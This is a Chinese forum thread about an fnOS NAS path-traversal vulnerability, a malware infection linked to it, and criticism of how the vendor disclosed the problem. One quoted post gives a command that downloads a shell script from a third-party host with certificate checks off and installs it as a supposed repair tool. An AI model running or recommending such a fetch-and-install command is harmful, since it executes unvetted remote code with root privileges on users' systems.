清理不干净,发现有链接到别的服务器地址去下载了恶意程序 root@AyongGe:~# cat /usr/trim/bin/system_startup.sh #!/bin/bash STATUS="/var/lib/dpkg/status" BACKUP="/var/lib/dpkg/status.original" if [ !  详情 回复
2026-2-1 09:16
哦 这些命令哪儿来的? 怎么还是飞牛官网上的?  详情 回复
2026-2-1 01:01

3

主题

63

回帖

0

牛值

初出茅庐

2026-2-1 00:37:57 显示全部楼层
success 发表于 2026-1-31 14:39
#一键检测修复工具
curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxc ...

谢谢分享,下来查一下看看。
2026-2-1 00:41:37 显示全部楼层
AnthonyYMH 发表于 2026-1-31 22:56
意思就是说,这个漏洞过去了10多天了,你们不仅没有修复,还未在第一时间告知用户,将用户数据安全置于何 ...

异常情况确定当天就针对该情况,推送了1.1.15更新,并发送了更新提醒。
明白飛牛的不易. 不過你也修復了問題, 而這問題的影響又這麼嚴重, 你好歹也在官網首頁標示一下, 讓大家盡早更新吧. 這一次令飛牛人氣掉了不少. 可惜了  详情 回复
2026-2-1 07:13
存在严重的路径穿越漏洞,可以未授权访问nas任意文件,不去主动发通知经过用户升级,私底下偷偷修复然后把锅甩给http和中间人攻击,这就是你们处理问题的态度吗 你知不知道这种恶性0day漏洞是捂不住的,拖的越久口  详情 回复
2026-2-1 02:06
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则